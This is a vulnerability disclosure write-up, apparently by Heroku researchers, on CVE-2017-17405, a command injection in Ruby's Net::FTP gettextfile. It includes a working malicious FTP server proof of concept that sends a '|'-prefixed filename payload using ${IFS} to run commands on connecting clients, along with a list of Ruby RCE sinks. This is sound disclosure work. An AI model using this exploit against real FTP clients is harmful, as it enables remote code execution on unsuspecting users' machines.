A Dive into Ruby CVE-2017-17405: Identifying a Vulnerability in Ruby’s FTP Implementation

Listen to this article

At Heroku we consistently monitor vulnerability feeds for new issues. Once a new vulnerability drops, we jump into action to triage and determine how our platform and customers may be affected. Part of this process involves evaluating possible attack scenarios not included in the original vulnerability report. We also spend time looking for "adjacent" and similar bugs in other products. The following Ruby vulnerability was identified during this process.

A vulnerability, CVE-2017-8817, was identified in libcurl . The FTP function contained an out of bounds read when processing wildcards. As soon as the vulnerability was made public, we went through our various systems to determine how they are affected and to initiate the patching process. Direct libcurl usage inside Heroku´s systems were identified and marked for patching. Once we were confident that all instances were flagged, we started looking into other libraries that might have a similar issue. On a hunch, and because a large number of our customers make use of Ruby, we decided to look at Ruby's FTP implementation. Our approach was twofold, first to determine if Ruby uses libcurl for its FTP functions, and if so, could this vulnerability be triggered in a Ruby application. And second, to determine if Ruby had a custom FTP implementation, whether this also allowed FTP wildcards and, if so, if vulnerabilities also existed in this implementation.

To do our investigation we downloaded the latest source code for Ruby, at the time version 2.4.2, and did a quick grep for any mention of FTP.

$ grep -i ftp -R * ChangeLog:net/ftp: add a new option ssl_handshake_timeout to Net::FTP.new. ChangeLog:net/ftp: close the socket directly when an error occurs during TLS handshake. ChangeLog:Otherwise, @sock.read in Net::FTP#close hungs until read_timeout exceeded. ChangeLog:net/ftp: close the connection if the TLS handshake timeout is exceeded.

It turns out Ruby has its own FTP library and this is packaged as net/ftp. We started looking into the lib/net folder, half expecting a custom C implementation of FTP. Turns out there is a solitary ftp.rb file, and it only weighed in at 1496 lines of code.

While reading through the code in ftp.rb there were a few of the usual suspects to look out for:

command

%x/command/

IO.popen(command)

Kernel.exec

Kernel.system

Kernel.open("| command") and open("| command")

All of the above functions are common vectors to gain Remote Code Execution (RCE) in Ruby applications, and are thus one of the first things to look for during code analysis. It didn't take long to identify a few locations where the open function was being used to access files for reading and writing.

Looking at the gettextfile function, we could see a call to open using what appeared to be user controlled data:

778 # 779 # Retrieves +remotefile+ in ASCII (text) mode, storing the result in 780 # +localfile+. 781 # If +localfile+ is nil, returns retrieved data. 782 # If a block is supplied, it is passed the retrieved data one 783 # line at a time. 784 # 785 def gettextfile(remotefile, localfile = File.basename(remotefile), 786 &block) # :yield: line 787 f = nil 788 result = nil 789 if localfile 790 f = open(localfile, "w") 791 elsif !block_given? 792 result = String.new 793 end 794 begin 795 retrlines("RETR #{remotefile}") do |line, newline| 796 l = newline ? line + "

" : line 797 f&.print(l) 798 block&.(line, newline) 799 result&.concat(l) 800 end 801 return result 802 ensure 803 f&.close 804 end 805 end

The localfile value would trigger command execution if the value was | os command . In general use, most users would likely provide their own localfile value and would not rely on the default of File.basename(remotefile) however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either ls -l style for the LIST command, or filenames for NLIST ), there is no guarantee that filename will be a valid filename.

We wrote a basic Ruby client that we could use to test the vulnerability. This client simply connects to a server, requests a list of files, and then tries to download all the files.

require 'net/ftp' host = '172.17.0.4' port = 2121 Net::FTP.const_set('FTP_PORT',port) Net::FTP.open(host) do |ftp| ftp.login fileList = ftp.nlst('*') fileList.each do |file| ftp.gettextfile(file) end end

Our server would need to respond to the NLIST command with a filename containing our command to executed. Since no validation or sanitization is done on the supplied filename, it would simply be passed straight to the open function and our command would execute. The only caveat being that our "filename" needs to start with | .

The PoC server code is not the best Ruby code you will ever see, but it was good enough to trigger the vulnerability and provide us with RCE. The server needs to simulate the handshake of an FTP connection. This fools the client into thinking it is connecting to a real FTP server and does the bare minimum to get the client to request a list of files.

require 'socket' host = '172.17.0.4' port = 2121 hostsplit = host.tr('.',',') server = TCPServer.new port loop do Thread.start(server.accept) do |client| client.puts "220 Attack FTP\r

" r = client.gets puts r client.puts "331 password please - version check\r

" r = client.gets puts r client.puts "230 User logged in\r

" r = client.gets puts r client.puts "230 more data please!\r

" r = client.gets puts r client.puts "230 more data please!\r

" r = client.gets puts r wait = true psv = Thread.new do pserver = TCPServer.new 23461 Thread.start(pserver.accept) do |pclient| while wait do end pclient.puts "|echo${IFS}$(id)${IFS}>pang\r

" pclient.close end end sleep 1 client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)\r

" r = client.gets puts r psv.join client.puts "150 Here comes the directory listing.\r

" wait = false client.puts "226 Directory send OK.\r

" r = client.gets puts r client.puts "221 goodbye\r

" client.close end end

The actual exploit happens when we supply the filelist , with pclient.puts "|echo${IFS}$(id)${IFS}>pang\r

" , which will result in echo $(id) > pang being run on the connecting client. If our exploitation is successful, we would see a new file created on the client, containing the output of the id command. Although not strictly necessary, we "encoded" the space using ${IFS} , which is a special shell variable called the Internal Field Separator. This is useful in cases where spaces cause issues in your payloads.

We reported the vulnerability to the Ruby team shortly after discovery. The response was excellent and the bug was fixed within hours.

The Ruby team simply replaced the open function with the File.open function, which is not vulnerable to command injection.

The fix was included in the stable release of Ruby, version 2.4.3. We were also assigned CVE-2017-17405.

The following versions of Ruby are all affected by this vulnerability:

Ruby 2.2 series: 2.2.8 and earlier

Ruby 2.3 series: 2.3.5 and earlier

Ruby 2.4 series: 2.4.2 and earlier

Ruby 2.5 series: 2.5.0-preview1

prior to trunk revision r61242

System hygiene (ephemerality, immutability, patching, etc) is the foundation of securable systems. Safe and open communication around vulnerabilities being patched raises awareness of similar weaknesses affecting our entire computing ecosystem. You might think of this as how our immunity to classes of vulnerabilities evolve, protecting our infrastructure.

At Heroku we closely monitor security research and vulnerability disclosure. Our belief and investment in the safe discussion around vulnerabilities works to ensure our software stack is kept up to date and our customers are protected.

Patch management forms an integral part of the security life-cycle and cannot be a static process of simply applying patches. Reviewing and understanding the underlying causes of vulnerabilities being patched can help identify further vulnerabilities in the affected software, or even completely different software packages. We closely monitor security research and vulnerability disclosure to ensure our software stack is kept up to date and our customers are protected.